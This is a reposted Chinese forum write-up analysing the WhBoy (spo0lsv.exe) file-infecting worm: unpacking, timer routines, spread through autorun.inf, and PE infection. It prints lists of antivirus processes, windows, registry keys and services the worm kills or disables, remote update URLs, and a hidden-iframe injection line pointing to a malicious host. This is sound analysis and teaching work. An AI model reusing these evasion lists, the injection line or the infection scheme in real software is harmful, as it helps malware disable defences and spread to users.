转载自看雪论坛-暗夜之刃大神
https://bbs.pediy.com/thread-224773.htm
目录
0x01 分析注意事项-分析工具
0x02 病毒信息
0x03 病毒行为
0x04 脱壳
0x05 病毒初始化分析
0x06 Proc_时钟1 (时钟周期: 6000ms)
0x07 Proc_时钟2 (时钟周期: 1000ms)
0x08 Proc_时钟3 (时钟周期: 120000ms)
0x09 Proc_时钟4 (时钟周期: 10000ms)
0x10 Proc_时钟5 (时钟周期: 6000ms)
0x11 Proc_时钟6 (时钟周期: 10000ms)
0x12 Proc_时钟7 (时钟周期: 180000ms)
0x13 感染线程分析
0x14 具体感染流程分析
0x15 感染后程序的运行
0x01 分析注意事项-分析工具
(1) 这个病毒在xp系统分析比较好, Win7_64位下 “C:\WINDOWS\system32\drivers\” 目录不能运行程序.
<我在这里耽误了很长的时间, 病毒分析要尽量确定病毒运行的环境, 很多病毒是在特定的环境中运行>
(2) 两个很重要的API, 时钟回调 && 线程回调 都需要分析.
SetTimer: 病毒经常用时钟来定时结束指定进程.
CreateThread: 执行其他的代码分支, 感染PE文件的代码就是用线程执行的.
(3) IDA 的签名功能,能够识别很多的函数来进行辅助分析.
分析工具
火绒剑: 敏感行为检测很不错, OD动态调试时用来辅助分析函数功能很好用.
OD, IDA, 010Editor:
BCompare: 十六进制对比感染前与感染后的程序
PE类工具: 查壳 && 编程语言识别.
0x02 病毒信息
(1) 文件大小: 30,001字节
(2) MD5; 512301C535C88255C9A252FDF70B7A03
(3) 壳: FSG v2.0
(4) 编写语言: Delphi
0x03 病毒行为
(1) 写启动项
(2) 关闭服务
(3) 感染PE文件
(4) 访问指定网址, 判断是否需要更新
(5) 释放文件, 并设置文件属性为<隐藏|系统>
(6) 提升进程权限
(7) 遍历窗口名, 向指定窗口名发送QUIT消息, 并结束指定进程
0x04 脱壳
(1) 查壳
(1) 执行到OEP 处, 然后 dump文件.
(2) 修复IAT 表的结尾, 然后在使用 ImpREC 工具修复输入表即可脱壳成功.
0x05 病毒初始化分析
(1) 判断字符串是否被修改
(2) 最重要的3个函数
(3) 判断Desktop_.ini 是否存在
(4) 将自身读入到内存中
(5) 将 "C:\WINDOWS\system32\drivers\spo0lsv.exe" 转为大写后, 和自身路径对比
(6) 如果不在 "C:\WINDOWS\system32\drivers\spo0lsv.exe" 处运行, 则将自身复制到 "C:\WINDOWS\system32\drivers\spo0lsv.exe"
运行 "C:\WINDOWS\system32\drivers\spo0lsv.exe", 并结束自身
0x06 Proc_时钟1 (时钟周期: 6000ms)
(1) 判断是否需要释放文件
(2) 遍历磁盘, 将自身复制到 盘符:\setup.exe
(3) 遍历磁盘, 创建 盘符:\autorun.inf 文件
(4)设置setup.exe 文件属性为, <系统,隐藏>
(5)设置autorun.inf 文件属性为, <系统,隐藏>
(6) 写配置项
0x07 Proc_时钟2 (时钟周期: 1000ms)
(1) 提升进程权限
(2) 遍历窗口名, 向指定窗口名发送QUIT消息, 并结束指定进程
查找的窗口列表:
防火墙,进程,VirusScan,NOD32,网镖,杀毒,毒霸,瑞星,江民,超级兔子,优化大师,木马清道夫,木馬清道夫,卡巴斯基反病毒
Symantec AntiVirus,Duba,esteem procs,绿鹰PC,密码防盗,噬菌体,木马辅助查找器,System Safety Monitor,Wrapped giftKiller
Winsock Expert,游戏木马检测大师,超级巡警,msctls_statusbar32,pjf(ustc),IceSword,
结束的进程列表:
Mcshield.exe,VsTskMgr.exe,naPrdMgr.exe,UpdaterUI.ex,TBMon.exe,scan32.exe,Ravmond.exe,CCenterexe,RavTask.exe,Rav.exe,
Ravmon.exe,RavmonD.exe,RavStub.exe,KVXP.kxp,KvMonXP.kxp,KVCenter.kxp,KVSrvXP.exe,KRegEx.exe,UIHost.exe,TrojDiekxp,
FrogAgent.exe,Logo1_.exe,Logo_1.exe,Rundl132.exe,regedit.exe,msconfig.exe,taskmgr.exe
(3) 写启动项
(4) 设置隐藏的文件和文件夹,不可见
0x08 Proc_时钟3 (时钟周期: 120000ms)
(1) 通过 “http://www.ac86.cn/66/up.txt” 这个地址来更新, 网址已经失效了
0x09 Proc_时钟4 (时钟周期: 10000ms)
(1) 遍历磁盘, 关闭共享
(2) 关闭admin的共享
(3) 杀死当前时钟
0x10 Proc_时钟5 (时钟周期: 6000ms)
(1) 将杀毒软件的注册表启动项设置为失效, 设置值为2, 被针对的杀毒软件注册表启动项列表如下:
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkAssociates Error Reporting Service"
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse"
(2) 使用两种方式停止服务程序, 被停止的列表如下:
"sharedaccess","RsCCenter","RsRavMon","KVWSC" ,"KVSrvXP","kavsvc","AVP"
"McAfeeFramework","McShield","McTaskManager","navapsvc","wscsvc","KPfwSvc"
"KPfwSvc","ccProxy","ccProxy","ccProxy","SPBBCSvc","Symantec Core LC"
"NPFMntor","NPFMntor","FireSvc"
0x11 Proc_时钟6 (时钟周期: 10000ms)
() 会获取这些网站的网页源码:
0x12 Proc_时钟7 (时钟周期: 180000ms)
(1) 通过 “http://update.whboy.net/worm.txt” 这个地址来更新, 网址已经失效了
0x13 感染线程分析
(1) 感染线程回调函数
(2) 获取所有磁盘名
(3) 遍历磁盘_感染目标
(4) 感染的文件类型为: "EXE", "SRC", "PIF", "COM"
(5) 在网页文件 "html", "asp", "php", "jsp", "aspx" 的尾部加上 <iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>.
0x14 具体感染流程分析
(1) 读入目标文件
(2) 从将要感染程序中查找 "WhBoy", 找到则说明已经被感染了
(3) 设置目标文件属性为 “NORMAL”
(4) 将自身复制为目标文件
(5) 将目标程序追加到病毒后面
(6) 感染后的标志为 “WhBoy” + 被感染程序名 + “.exe”
0x15 感染后程序的运行
(1) <感染后程序> 的结构,
(2) 判断是否被感染, 感染则跳转
(3) 创建 自身进程名 + “.exe”文件
(4) 从自身中提取 <源程序> 并写到 “BeInfected.exe.exe”
(5) 在 Temp目录 写批处理 并 运行批处理
批处理内容:
//循环删除自身, 直至删除成功:try1del "C:\Documents and Settings\Administrator\桌面\2222\BeInfected.exe"if exist "C:\Documents and Settings\Administrator\桌面\2222\BeInfected.exe" goto try1//将 BeInfected.exe.exe 修改为 BeInfected.exe, 并运行 BeInfected.exe.ren "C:\Documents and Settings\Administrator\桌面\2222\BeInfected.exe.exe" "BeInfected.exe"if exist "C:\Documents and Settings\Administrator\桌面\2222\BeInfected.exe.exe" goto try2"C:\Documents and Settings\Administrator\桌面\2222\BeInfected.exe":try2del %0
执行生成的批处理
(6) <感染后程序> 就被还原成 <源程序> 了, 并运行 <源程序>.
(1) 有什么错误请大神们指出.
(2) 并感谢15PB老师们的帮助和教导.